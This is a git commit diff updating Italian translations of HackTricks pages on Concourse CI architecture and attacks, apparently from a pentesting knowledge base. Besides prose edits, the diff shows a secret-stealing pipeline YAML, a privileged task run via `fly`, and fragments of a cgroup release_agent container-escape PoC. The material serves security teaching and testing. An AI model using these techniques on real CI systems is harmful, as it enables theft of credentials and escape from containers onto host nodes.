Translated ['src/pentesting-ci-cd/ansible-tower-awx-automation-controlle

This commit is contained in:
Translator
2025-08-01 10:13:12 +00:00
parent f8dbb2c1ce
commit 57a4191058
47 changed files with 487 additions and 305 deletions

View File

@@ -1,9 +1,9 @@
# Architettura di Concourse
## Architettura di Concourse
{{#include ../../banners/hacktricks-training.md}}
## Architettura di Concourse
[**Dati rilevanti dalla documentazione di Concourse:**](https://concourse-ci.org/internals.html)
### Architettura
@@ -18,11 +18,11 @@ La responsabilità del [checker](https://concourse-ci.org/checker.html) è quell
#### TSA: registrazione dei worker e inoltro
La TSA è un **server SSH personalizzato** utilizzato esclusivamente per **registrare** in modo sicuro i [**worker**](https://concourse-ci.org/internals.html#architecture-worker) con l'[ATC](https://concourse-ci.org/internals.html#component-atc).
La TSA è un **server SSH personalizzato** utilizzato esclusivamente per registrare in modo sicuro [**i worker**](https://concourse-ci.org/internals.html#architecture-worker) con l'[ATC](https://concourse-ci.org/internals.html#component-atc).
La TSA per **default ascolta sulla porta `2222`**, ed è solitamente collocata insieme all'[ATC](https://concourse-ci.org/internals.html#component-atc) e si trova dietro un bilanciatore di carico.
La **TSA implementa CLI attraverso la connessione SSH,** supportando [**questi comandi**](https://concourse-ci.org/internals.html#component-tsa).
La **TSA implementa CLI tramite la connessione SSH,** supportando [**questi comandi**](https://concourse-ci.org/internals.html#component-tsa).
#### Worker

View File

@@ -1,14 +1,14 @@
# Concourse Enumeration & Attacks
## Concourse Enumeration & Attacks
{{#include ../../banners/hacktricks-training.md}}
## Concourse Enumeration & Attacks
### User Roles & Permissions
Concourse viene fornito con cinque ruoli:
- _Concourse_ **Admin**: Questo ruolo è assegnato solo ai proprietari del **team principale** (team concourse iniziale predefinito). Gli Admin possono **configurare altri team** (ad es.: `fly set-team`, `fly destroy-team`...). I permessi di questo ruolo non possono essere influenzati da RBAC.
- _Concourse_ **Admin**: Questo ruolo è assegnato solo ai proprietari del **team principale** (team concourse iniziale predefinito). Gli admin possono **configurare altri team** (ad es.: `fly set-team`, `fly destroy-team`...). I permessi di questo ruolo non possono essere influenzati da RBAC.
- **owner**: I proprietari del team possono **modificare tutto all'interno del team**.
- **member**: I membri del team possono **leggere e scrivere** all'interno delle **risorse del team** ma non possono modificare le impostazioni del team.
- **pipeline-operator**: Gli operatori di pipeline possono eseguire **operazioni di pipeline** come attivare build e fissare risorse, tuttavia non possono aggiornare le configurazioni delle pipeline.
@@ -23,8 +23,8 @@ Nota che Concourse **raggruppa le pipeline all'interno dei Team**. Pertanto, gli
Nei file di configurazione YAML puoi configurare valori utilizzando la sintassi `((_source-name_:_secret-path_._secret-field_))`.\
[Dal documento:](https://concourse-ci.org/vars.html#var-syntax) Il **source-name è facoltativo**, e se omesso, verrà utilizzato il [credential manager a livello di cluster](https://concourse-ci.org/vars.html#cluster-wide-credential-manager), oppure il valore può essere fornito [staticamente](https://concourse-ci.org/vars.html#static-vars).\
Il **\_secret-field**\_ facoltativo specifica un campo sul segreto recuperato da leggere. Se omesso, il credential manager può scegliere di leggere un 'campo predefinito' dal credential recuperato se il campo esiste.\
Inoltre, il _**secret-path**_ e _**secret-field**_ possono essere racchiusi tra virgolette doppie `"..."` se **contengono caratteri speciali** come `.` e `:`. Ad esempio, `((source:"my.secret"."field:1"))` imposterà il _secret-path_ su `my.secret` e il _secret-field_ su `field:1`.
Il **_secret-field facoltativo**_ specifica un campo sul segreto recuperato da leggere. Se omesso, il credential manager può scegliere di leggere un 'campo predefinito' dal credential recuperato se il campo esiste.\
Inoltre, il _**secret-path**_ e il _**secret-field**_ possono essere racchiusi tra virgolette doppie `"..."` se contengono **caratteri speciali** come `.` e `:`. Ad esempio, `((source:"my.secret"."field:1"))` imposterà il _secret-path_ su `my.secret` e il _secret-field_ su `field:1`.
#### Static Vars
@@ -34,7 +34,7 @@ Le variabili statiche possono essere specificate nei **passaggi delle attività*
file: booklit/ci/unit.yml
vars: { tag: 1.13 }
```
Oppure utilizzando i seguenti `fly` **argomenti**:
Or usando i seguenti `fly` **argomenti**:
- `-v` o `--var` `NAME=VALUE` imposta la stringa `VALUE` come valore per la var `NAME`.
- `-y` o `--yaml-var` `NAME=VALUE` analizza `VALUE` come YAML e lo imposta come valore per la var `NAME`.
@@ -46,12 +46,12 @@ Oppure utilizzando i seguenti `fly` **argomenti**:
Ci sono diversi modi in cui un **Credential Manager può essere specificato** in una pipeline, leggi come in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
Inoltre, Concourse supporta diversi gestori di credenziali:
- [Il gestore di credenziali Vault](https://concourse-ci.org/vault-credential-manager.html)
- [Il gestore di credenziali CredHub](https://concourse-ci.org/credhub-credential-manager.html)
- [Il gestore di credenziali AWS SSM](https://concourse-ci.org/aws-ssm-credential-manager.html)
- [Il gestore di credenziali AWS Secrets Manager](https://concourse-ci.org/aws-asm-credential-manager.html)
- [Gestore di Credenziali Kubernetes](https://concourse-ci.org/kubernetes-credential-manager.html)
- [Il gestore di credenziali Conjur](https://concourse-ci.org/conjur-credential-manager.html)
- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
- [The AWS SSM credential manager](https://concourse-ci.org/aws-ssm-credential-manager.html)
- [The AWS Secrets Manager credential manager](https://concourse-ci.org/aws-asm-credential-manager.html)
- [Kubernetes Credential Manager](https://concourse-ci.org/kubernetes-credential-manager.html)
- [The Conjur credential manager](https://concourse-ci.org/conjur-credential-manager.html)
- [Caching credentials](https://concourse-ci.org/creds-caching.html)
- [Redacting credentials](https://concourse-ci.org/creds-redacting.html)
- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
@@ -123,7 +123,7 @@ rm /tmp/secrets.txt
- admin:admin
- test:test
#### Enumerazione di segreti e parametri
#### Enumerazione di Segreti e Parametri
Nella sezione precedente abbiamo visto come puoi **ottenere tutti i nomi e le variabili dei segreti** utilizzati dalla pipeline. Le **variabili potrebbero contenere informazioni sensibili** e il nome dei **segreti sarà utile in seguito per cercare di rubarli**.
@@ -142,7 +142,7 @@ Con questi permessi potresti essere in grado di:
#### Creazione/Modifica della Pipeline
Se hai privilegi sufficienti (**ruolo membro o superiore**) sarai in grado di **creare/modificare nuove pipeline.** Controlla questo esempio:
Se hai privilegi sufficienti (**ruolo di membro o superiore**) sarai in grado di **creare/modificare nuove pipeline.** Controlla questo esempio:
```yaml
jobs:
- name: simple
@@ -166,16 +166,16 @@ sleep 1000
params:
SUPER_SECRET: ((super.secret))
```
Con la **modifica/creazione** di un nuovo pipeline sarai in grado di:
Con la **modifica/creazione** di una nuova pipeline sarai in grado di:
- **Rubare** i **segreti** (facendo l'echo o entrando nel container e eseguendo `env`)
- **Evasione** verso il **nodo** (dandoti abbastanza privilegi - `privileged: true`)
- Enumerare/Abusare dell'endpoint **cloud metadata** (dal pod e dal nodo)
- **Eliminare** il pipeline creato
- **Eliminare** la pipeline creata
#### Esegui Compito Personalizzato
#### Esegui un Compito Personalizzato
Questo è simile al metodo precedente, ma invece di modificare/creare un intero nuovo pipeline puoi **semplicemente eseguire un compito personalizzato** (che sarà probabilmente molto più **furtivo**):
Questo è simile al metodo precedente, ma invece di modificare/creare un'intera nuova pipeline puoi **semplicemente eseguire un compito personalizzato** (che sarà probabilmente molto più **furtivo**):
```yaml
# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
@@ -199,7 +199,7 @@ fly -t tutorial execute --privileged --config task_config.yml
```
#### Uscire verso il nodo da un'attività privilegiata
Nelle sezioni precedenti abbiamo visto come **eseguire un'attività privilegiata con concourse**. Questo non darà al contenitore esattamente lo stesso accesso del flag privilegiato in un contenitore docker. Ad esempio, non vedrai il dispositivo del filesystem del nodo in /dev, quindi l'uscita potrebbe essere più "complessa".
Nelle sezioni precedenti abbiamo visto come **eseguire un'attività privilegiata con concourse**. Questo non darà al container esattamente lo stesso accesso del flag privilegiato in un container docker. Ad esempio, non vedrai il dispositivo del filesystem del nodo in /dev, quindi l'uscita potrebbe essere più "complessa".
Nel seguente PoC useremo il release_agent per uscire con alcune piccole modifiche:
```bash
@@ -260,11 +260,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output
```
> [!WARNING]
> Come avrai notato, questo è solo un [**escape regolare di release_agent**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) modificando semplicemente il percorso del cmd nel nodo
> Come avrai notato, questo è solo un [**escape regolare del release_agent**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) modificando semplicemente il percorso del cmd nel nodo
#### Escape al nodo da un contenitore Worker
#### Uscire dal nodo da un contenitore Worker
Un escape regolare di release_agent con una modifica minore è sufficiente per questo:
Un escape regolare del release_agent con una modifica minore è sufficiente per questo:
```bash
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
@@ -330,14 +330,14 @@ select * from users;
#### Abusare del Servizio Garden - Non un vero attacco
> [!WARNING]
> Queste sono solo alcune note interessanti sul servizio, ma poiché ascolta solo su localhost, queste note non presenteranno alcun impatto che non abbiamo già sfruttato prima.
> Queste sono solo alcune note interessanti sul servizio, ma poiché ascolta solo su localhost, queste note non presenteranno alcun impatto che non abbiamo già sfruttato in precedenza.
Per impostazione predefinita, ogni worker di concourse eseguirà un [**Garden**](https://github.com/cloudfoundry/garden) servizio sulla porta 7777. Questo servizio è utilizzato dal Web master per indicare al worker **cosa deve eseguire** (scaricare l'immagine ed eseguire ogni attività). Questo sembra piuttosto interessante per un attaccante, ma ci sono alcune buone protezioni:
- È **esposto solo localmente** (127..0.0.1) e penso che quando il worker si autentica contro il Web con il servizio SSH speciale, viene creato un tunnel in modo che il server web possa **comunicare con ogni servizio Garden** all'interno di ogni worker.
- Il server web **monitora i container in esecuzione ogni pochi secondi**, e i container **inaspettati** vengono **eliminati**. Quindi, se vuoi **eseguire un container personalizzato**, devi **manipolare** la **comunicazione** tra il server web e il servizio garden.
- È **esposto solo localmente** (127..0.0.1) e penso che quando il worker si autentica contro il Web con il servizio SSH speciale, viene creato un tunnel affinché il server web possa **comunicare con ogni servizio Garden** all'interno di ogni worker.
- Il server web **monitora i contenitori in esecuzione ogni pochi secondi**, e i contenitori **inaspettati** vengono **eliminati**. Quindi, se vuoi **eseguire un contenitore personalizzato**, devi **manipolare** la **comunicazione** tra il server web e il servizio garden.
I worker di Concourse vengono eseguiti con privilegi elevati sui container:
I worker di Concourse vengono eseguiti con elevati privilegi del contenitore:
```
Container Runtime: docker
Has Namespaces:
@@ -411,6 +411,6 @@ Accept-Encoding: gzip.
```
## Riferimenti
- https://concourse-ci.org/vars.html
- [https://concourse-ci.org/vars.html](https://concourse-ci.org/vars.html)
{{#include ../../banners/hacktricks-training.md}}